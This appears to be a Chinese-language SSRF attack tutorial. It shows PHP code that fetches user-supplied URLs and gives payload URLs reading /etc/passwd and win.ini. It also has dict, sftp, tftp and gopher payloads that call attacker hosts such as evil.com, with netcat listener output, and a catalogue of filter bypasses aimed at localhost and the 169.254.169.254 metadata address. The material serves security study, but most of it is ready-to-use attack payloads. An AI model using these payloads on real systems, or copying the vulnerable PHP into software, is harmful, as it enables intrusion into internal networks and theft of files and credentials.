产生SSRF漏洞的函数

1、file_get_contents:

下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

1
2
3
4
5
6
7
8
9
10
11
12
13
//file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

2、sockopen():

以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//fsockopen()函数本身就是打开一个网络连接或者Unix套接字连接
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

3、curl_exec():

cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透,接下来也主要是集中讲对于curl()函数的利用方式

function curl($url){
$ch = curl_init(); // 初始化curl连接句柄
curl_setopt($ch, CURLOPT_URL, $url); //设置连接URL
curl_setopt($ch, CURLOPT_HEADER, 0); // 不输出头文件的信息
curl_exec($ch); // 执行获取结果
curl_close($ch); // 关闭curl连接句柄
}

$url = $_GET['url'];
curl($url);


注意事项

1
2
3
4
5
6
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议

可以利用的协议

常用的URL协议

1
2
3
4
5
6
file:///  -- 本地文件传输协议,主要用于访问本地计算机中的文件
dict:// -- 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628
sftp:// -- SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)
ldap:// -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议
tftp:// -- 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机
gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前

1、file

这种URL Schema可以尝试从文件系统中获取文件:

1
2
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

2、dict

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

1
2
3
4
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

3、sftp

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作

1
2
3
4
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

4、ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

1
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

5、tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

1
2
3
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

6、gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

1
2
3
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

SSRF常见的绕过方式

一、常见的绕过方式

1、限制为http://www.xxx.com 域名时(利用@)

1
2
3
可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。

2.采用短网址绕过

1
比如百度短地址https://dwz.cn/

3.采用进制转换

1
127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.

4.利用特殊域名

1
2
3
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
(xip.io 现在好像用不了了,可以找找其他的)

5.利用[::]

1
2
可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]

6.利用句号

1
127。0。0。1 >>> 127.0.0.1

7、CRLF 编码绕过

1
2
3
%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
1
2
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a 

8.利用封闭的字母数字

1
2
3
4
5
6
7
8
9
10
11
12
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

二、常见限制

1.限制为http://www.xxx.com 域名

1
2
采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxc.com

2.限制请求IP不为内网地址

1
2
3
4
当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换

3.限制请求只为http协议

1
2
(1)采取302跳转
(2)采取短地址